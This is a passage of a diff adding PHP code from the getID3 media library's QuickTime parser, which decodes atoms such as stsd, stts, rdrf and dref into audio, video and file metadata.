+													}
+													break;
+
+												case 'atID':
+												case 'cnID':
+												case 'geID':
+												case 'tves':
+												case 'tvsn':
+												default:
+													// 32-bit integer
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
+											}
+											break;
+
+										case  1: // text flag
+										case 13: // image flag
+										default:
+											$atom_structure['data'] = substr($boxdata, 8);
+											if ($atomname == 'covr') {
+												// not a foolproof check, but better than nothing
+												if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
+													$atom_structure['image_mime'] = 'image/jpeg';
+												} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
+													$atom_structure['image_mime'] = 'image/png';
+												} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
+													$atom_structure['image_mime'] = 'image/gif';
+												}
+											}
+											break;
+
+									}
+									break;
+
+								default:
+									$this->warning('Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset);
+									$atom_structure['data'] = $atom_data;
+
+							}
+						}
+					}
+				}
+				$this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']);
+				break;
+
+
+			case 'play': // auto-PLAY atom
+				$atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+
+				$info['quicktime']['autoplay'] = $atom_structure['autoplay'];
+				break;
+
+
+			case 'WLOC': // Window LOCation atom
+				$atom_structure['location_x']  = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2));
+				$atom_structure['location_y']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 2));
+				break;
+
+
+			case 'LOOP': // LOOPing atom
+			case 'SelO': // play SELection Only atom
+			case 'AllF': // play ALL Frames atom
+				$atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data);
+				break;
+
+
+			case 'name': //
+			case 'MCPS': // Media Cleaner PRo
+			case '@PRM': // adobe PReMiere version
+			case '@PRQ': // adobe PRemiere Quicktime version
+				$atom_structure['data'] = $atom_data;
+				break;
+
+
+			case 'cmvd': // Compressed MooV Data atom
+				// Code by ubergeekØubergeek*tv based on information from
+				// http://developer.apple.com/quicktime/icefloe/dispatch012.html
+				$atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));
+
+				$CompressedFileData = substr($atom_data, 4);
+				if ($UncompressedHeader = @gzuncompress($CompressedFileData)) {
+					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms);
+				} else {
+					$this->warning('Error decompressing compressed MOV atom at offset '.$atom_structure['offset']);
+				}
+				break;
+
+
+			case 'dcom': // Data COMpression atom
+				$atom_structure['compression_id']   = $atom_data;
+				$atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data);
+				break;
+
+
+			case 'rdrf': // Reference movie Data ReFerence atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001);
+
+				$atom_structure['reference_type_name']    =                           substr($atom_data,  4, 4);
+				$atom_structure['reference_length']       = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				switch ($atom_structure['reference_type_name']) {
+					case 'url ':
+						$atom_structure['url']            =       $this->NoNullString(substr($atom_data, 12));
+						break;
+
+					case 'alis':
+						$atom_structure['file_alias']     =                           substr($atom_data, 12);
+						break;
+
+					case 'rsrc':
+						$atom_structure['resource_alias'] =                           substr($atom_data, 12);
+						break;
+
+					default:
+						$atom_structure['data']           =                           substr($atom_data, 12);
+						break;
+				}
+				break;
+
+
+			case 'rmqu': // Reference Movie QUality atom
+				$atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data);
+				break;
+
+
+			case 'rmcs': // Reference Movie Cpu Speed atom
+				$atom_structure['version']          = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']        = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				break;
+
+
+			case 'rmvc': // Reference Movie Version Check atom
+				$atom_structure['version']            = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']          = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['gestalt_selector']   =                           substr($atom_data,  4, 4);
+				$atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['gestalt_value']      = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
+				break;
+
+
+			case 'rmcd': // Reference Movie Component check atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
+				$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
+				$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
+				$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
+				$atom_structure['component_min_version']  = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4));
+				break;
+
+
+			case 'rmdr': // Reference Movie Data Rate atom
+				$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['data_rate']     = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+
+				$atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10;
+				break;
+
+
+			case 'rmla': // Reference Movie Language Atom
+				$atom_structure['version']     = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']   = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+
+				$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
+				if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
+					$info['comments']['language'][] = $atom_structure['language'];
+				}
+				break;
+
+
+			case 'rmla': // Reference Movie Language Atom
+				$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['track_id']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				break;
+
+
+			case 'ptv ': // Print To Video - defines a movie's full screen mode
+				// http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm
+				$atom_structure['display_size_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
+				$atom_structure['reserved_1']        = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000
+				$atom_structure['reserved_2']        = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000
+				$atom_structure['slide_show_flag']   = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1));
+				$atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1));
+
+				$atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag'];
+				$atom_structure['flags']['slide_show']   = (bool) $atom_structure['slide_show_flag'];
+
+				$ptv_lookup[0] = 'normal';
+				$ptv_lookup[1] = 'double';
+				$ptv_lookup[2] = 'half';
+				$ptv_lookup[3] = 'full';
+				$ptv_lookup[4] = 'current';
+				if (isset($ptv_lookup[$atom_structure['display_size_raw']])) {
+					$atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']];
+				} else {
+					$this->warning('unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')');
+				}
+				break;
+
+
+			case 'stsd': // Sample Table Sample Description atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+
+				// see: https://github.com/JamesHeinrich/getID3/issues/111
+				// Some corrupt files have been known to have high bits set in the number_entries field
+				// This field shouldn't really need to be 32-bits, values stores are likely in the range 1-100000
+				// Workaround: mask off the upper byte and throw a warning if it's nonzero
+				if ($atom_structure['number_entries'] > 0x000FFFFF) {
+					if ($atom_structure['number_entries'] > 0x00FFFFFF) {
+						$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Ignoring upper byte and interpreting this as 0x'.getid3_lib::PrintHexBytes(substr($atom_data, 5, 3), true, false).' = '.($atom_structure['number_entries'] & 0x00FFFFFF));
+						$atom_structure['number_entries'] = ($atom_structure['number_entries'] & 0x00FFFFFF);
+					} else {
+						$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Please report this to info@getid3.org referencing bug report #111');
+					}
+				}
+
+				$stsdEntriesDataOffset = 8;
+				for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+					$atom_structure['sample_description_table'][$i]['size']             = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4));
+					$stsdEntriesDataOffset += 4;
+					$atom_structure['sample_description_table'][$i]['data_format']      =                           substr($atom_data, $stsdEntriesDataOffset, 4);
+					$stsdEntriesDataOffset += 4;
+					$atom_structure['sample_description_table'][$i]['reserved']         = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6));
+					$stsdEntriesDataOffset += 6;
+					$atom_structure['sample_description_table'][$i]['reference_index']  = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2));
+					$stsdEntriesDataOffset += 2;
+					$atom_structure['sample_description_table'][$i]['data']             =                           substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2));
+					$stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2);
+
+					$atom_structure['sample_description_table'][$i]['encoder_version']  = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  0, 2));
+					$atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  2, 2));
+					$atom_structure['sample_description_table'][$i]['encoder_vendor']   =                           substr($atom_structure['sample_description_table'][$i]['data'],  4, 4);
+
+					switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) {
+
+						case "\x00\x00\x00\x00":
+							// audio tracks
+							$atom_structure['sample_description_table'][$i]['audio_channels']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  2));
+							$atom_structure['sample_description_table'][$i]['audio_bit_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10,  2));
+							$atom_structure['sample_description_table'][$i]['audio_compression_id'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  2));
+							$atom_structure['sample_description_table'][$i]['audio_packet_size']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14,  2));
+							$atom_structure['sample_description_table'][$i]['audio_sample_rate']    = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16,  4));
+
+							// video tracks
+							// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
+							$atom_structure['sample_description_table'][$i]['temporal_quality'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
+							$atom_structure['sample_description_table'][$i]['spatial_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
+							$atom_structure['sample_description_table'][$i]['width']            =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
+							$atom_structure['sample_description_table'][$i]['height']           =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
+							$atom_structure['sample_description_table'][$i]['resolution_x']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
+							$atom_structure['sample_description_table'][$i]['resolution_y']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
+							$atom_structure['sample_description_table'][$i]['data_size']        =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  4));
+							$atom_structure['sample_description_table'][$i]['frame_count']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 36,  2));
+							$atom_structure['sample_description_table'][$i]['compressor_name']  =                             substr($atom_structure['sample_description_table'][$i]['data'], 38,  4);
+							$atom_structure['sample_description_table'][$i]['pixel_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 42,  2));
+							$atom_structure['sample_description_table'][$i]['color_table_id']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 44,  2));
+
+							switch ($atom_structure['sample_description_table'][$i]['data_format']) {
+								case '2vuY':
+								case 'avc1':
+								case 'cvid':
+								case 'dvc ':
+								case 'dvcp':
+								case 'gif ':
+								case 'h263':
+								case 'jpeg':
+								case 'kpcd':
+								case 'mjpa':
+								case 'mjpb':
+								case 'mp4v':
+								case 'png ':
+								case 'raw ':
+								case 'rle ':
+								case 'rpza':
+								case 'smc ':
+								case 'SVQ1':
+								case 'SVQ3':
+								case 'tiff':
+								case 'v210':
+								case 'v216':
+								case 'v308':
+								case 'v408':
+								case 'v410':
+								case 'yuv2':
+									$info['fileformat'] = 'mp4';
+									$info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format'];
+// http://www.getid3.org/phpBB3/viewtopic.php?t=1550
+//if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
+if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) {
+	// assume that values stored here are more important than values stored in [tkhd] atom
+	$info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width'];
+	$info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height'];
+	$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
+	$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
+}
+									break;
+
+								case 'qtvr':
+									$info['video']['dataformat'] = 'quicktimevr';
+									break;
+
+								case 'mp4a':
+								default:
+									$info['quicktime']['audio']['codec']       = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
+									$info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate'];
+									$info['quicktime']['audio']['channels']    = $atom_structure['sample_description_table'][$i]['audio_channels'];
+									$info['quicktime']['audio']['bit_depth']   = $atom_structure['sample_description_table'][$i]['audio_bit_depth'];
+									$info['audio']['codec']                    = $info['quicktime']['audio']['codec'];
+									$info['audio']['sample_rate']              = $info['quicktime']['audio']['sample_rate'];
+									$info['audio']['channels']                 = $info['quicktime']['audio']['channels'];
+									$info['audio']['bits_per_sample']          = $info['quicktime']['audio']['bit_depth'];
+									switch ($atom_structure['sample_description_table'][$i]['data_format']) {
+										case 'raw ': // PCM
+										case 'alac': // Apple Lossless Audio Codec
+											$info['audio']['lossless'] = true;
+											break;
+										default:
+											$info['audio']['lossless'] = false;
+											break;
+									}
+									break;
+							}
+							break;
+
+						default:
+							switch ($atom_structure['sample_description_table'][$i]['data_format']) {
+								case 'mp4s':
+									$info['fileformat'] = 'mp4';
+									break;
+
+								default:
+									// video atom
+									$atom_structure['sample_description_table'][$i]['video_temporal_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
+									$atom_structure['sample_description_table'][$i]['video_spatial_quality']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
+									$atom_structure['sample_description_table'][$i]['video_frame_width']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
+									$atom_structure['sample_description_table'][$i]['video_frame_height']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
+									$atom_structure['sample_description_table'][$i]['video_resolution_x']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20,  4));
+									$atom_structure['sample_description_table'][$i]['video_resolution_y']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
+									$atom_structure['sample_description_table'][$i]['video_data_size']         =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
+									$atom_structure['sample_description_table'][$i]['video_frame_count']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  2));
+									$atom_structure['sample_description_table'][$i]['video_encoder_name_len']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34,  1));
+									$atom_structure['sample_description_table'][$i]['video_encoder_name']      =                             substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']);
+									$atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66,  2));
+									$atom_structure['sample_description_table'][$i]['video_color_table_id']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68,  2));
+
+									$atom_structure['sample_description_table'][$i]['video_pixel_color_type']  = (($atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color');
+									$atom_structure['sample_description_table'][$i]['video_pixel_color_name']  = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']);
+
+									if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') {
+										$info['quicktime']['video']['codec_fourcc']        = $atom_structure['sample_description_table'][$i]['data_format'];
+										$info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
+										$info['quicktime']['video']['codec']               = (($atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']);
+										$info['quicktime']['video']['color_depth']         = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'];
+										$info['quicktime']['video']['color_depth_name']    = $atom_structure['sample_description_table'][$i]['video_pixel_color_name'];
+
+										$info['video']['codec']           = $info['quicktime']['video']['codec'];
+										$info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth'];
+									}
+									$info['video']['lossless']           = false;
+									$info['video']['pixel_aspect_ratio'] = (float) 1;
+									break;
+							}
+							break;
+					}
+					switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) {
+						case 'mp4a':
+							$info['audio']['dataformat']         = 'mp4';
+							$info['quicktime']['audio']['codec'] = 'mp4';
+							break;
+
+						case '3ivx':
+						case '3iv1':
+						case '3iv2':
+							$info['video']['dataformat'] = '3ivx';
+							break;
+
+						case 'xvid':
+							$info['video']['dataformat'] = 'xvid';
+							break;
+
+						case 'mp4v':
+							$info['video']['dataformat'] = 'mpeg4';
+							break;
+
+						case 'divx':
+						case 'div1':
+						case 'div2':
+						case 'div3':
+						case 'div4':
+						case 'div5':
+						case 'div6':
+							$info['video']['dataformat'] = 'divx';
+							break;
+
+						default:
+							// do nothing
+							break;
+					}
+					unset($atom_structure['sample_description_table'][$i]['data']);
+				}
+				break;
+
+
+			case 'stts': // Sample Table Time-to-Sample atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$sttsEntriesDataOffset = 8;
+				//$FrameRateCalculatorArray = array();
+				$frames_count = 0;
+
+				$max_stts_entries_to_scan = ($info['php_memory_limit'] ? min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']) : $atom_structure['number_entries']);
+				if ($max_stts_entries_to_scan < $atom_structure['number_entries']) {
+					$this->warning('QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($atom_structure['number_entries'] / 1048576).'MB).');
+				}
+				for ($i = 0; $i < $max_stts_entries_to_scan; $i++) {
+					$atom_structure['time_to_sample_table'][$i]['sample_count']    = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
+					$sttsEntriesDataOffset += 4;
+					$atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
+					$sttsEntriesDataOffset += 4;
+
+					$frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count'];
+
+					// THIS SECTION REPLACED WITH CODE IN "stbl" ATOM
+					//if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) {
+					//	$stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
+					//	if ($stts_new_framerate <= 60) {
+					//		// some atoms have durations of "1" giving a very large framerate, which probably is not right
+					//		$info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate);
+					//	}
+					//}
+					//
+					//$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count'];
+				}
+				$info['quicktime']['stts_framecount'][] = $frames_count;
+				//$sttsFramesTotal  = 0;
+				//$sttsSecondsTotal = 0;
+				//foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) {
+				//	if (($frames_per_second > 60) || ($frames_per_second < 1)) {
+				//		// not video FPS information, probably audio information
+				//		$sttsFramesTotal  = 0;
+				//		$sttsSecondsTotal = 0;
+				//		break;
+				//	}
+				//	$sttsFramesTotal  += $frame_count;
+				//	$sttsSecondsTotal += $frame_count / $frames_per_second;
+				//}
+				//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
+				//	if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) {
+				//		$info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
+				//	}
+				//}
+				break;
+
+
+			case 'stss': // Sample Table Sync Sample (key frames) atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stssEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4));
+						$stssEntriesDataOffset += 4;
+					}
+				}
+				break;
+
+
+			case 'stsc': // Sample Table Sample-to-Chunk atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stscEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['sample_to_chunk_table'][$i]['first_chunk']        = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
+						$stscEntriesDataOffset += 4;
+						$atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk']  = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
+						$stscEntriesDataOffset += 4;
+						$atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
+						$stscEntriesDataOffset += 4;
+					}
+				}
+				break;
+
+
+			case 'stsz': // Sample Table SiZe atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['sample_size']    = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+					$stszEntriesDataOffset = 12;
+					if ($atom_structure['sample_size'] == 0) {
+						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+							$atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4));
+							$stszEntriesDataOffset += 4;
+						}
+					}
+				}
+				break;
+
+
+			case 'stco': // Sample Table Chunk Offset atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stcoEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4));
+						$stcoEntriesDataOffset += 4;
+					}
+				}
+				break;
+
+
+			case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files)
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stcoEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8));
+						$stcoEntriesDataOffset += 8;
+					}
+				}
+				break;
+
+
+			case 'dref': // Data REFerence atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$drefDataOffset = 8;
+				for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+					$atom_structure['data_references'][$i]['size']                    = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4));
+					$drefDataOffset += 4;
+					$atom_structure['data_references'][$i]['type']                    =                           substr($atom_data, $drefDataOffset, 4);
+					$drefDataOffset += 4;
+					$atom_structure['data_references'][$i]['version']                 = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 1));
+					$drefDataOffset += 1;
+					$atom_structure['data_references'][$i]['flags_raw']               = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 3)); // hardcoded: 0x0000
+					$drefDataOffset += 3;
+					$atom_structure['data_references'][$i]['data']                    =                           substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3));
+					$drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3);
+
+					$atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001);
+				}
+				break;
+
+
+			case 'gmin': // base Media INformation atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
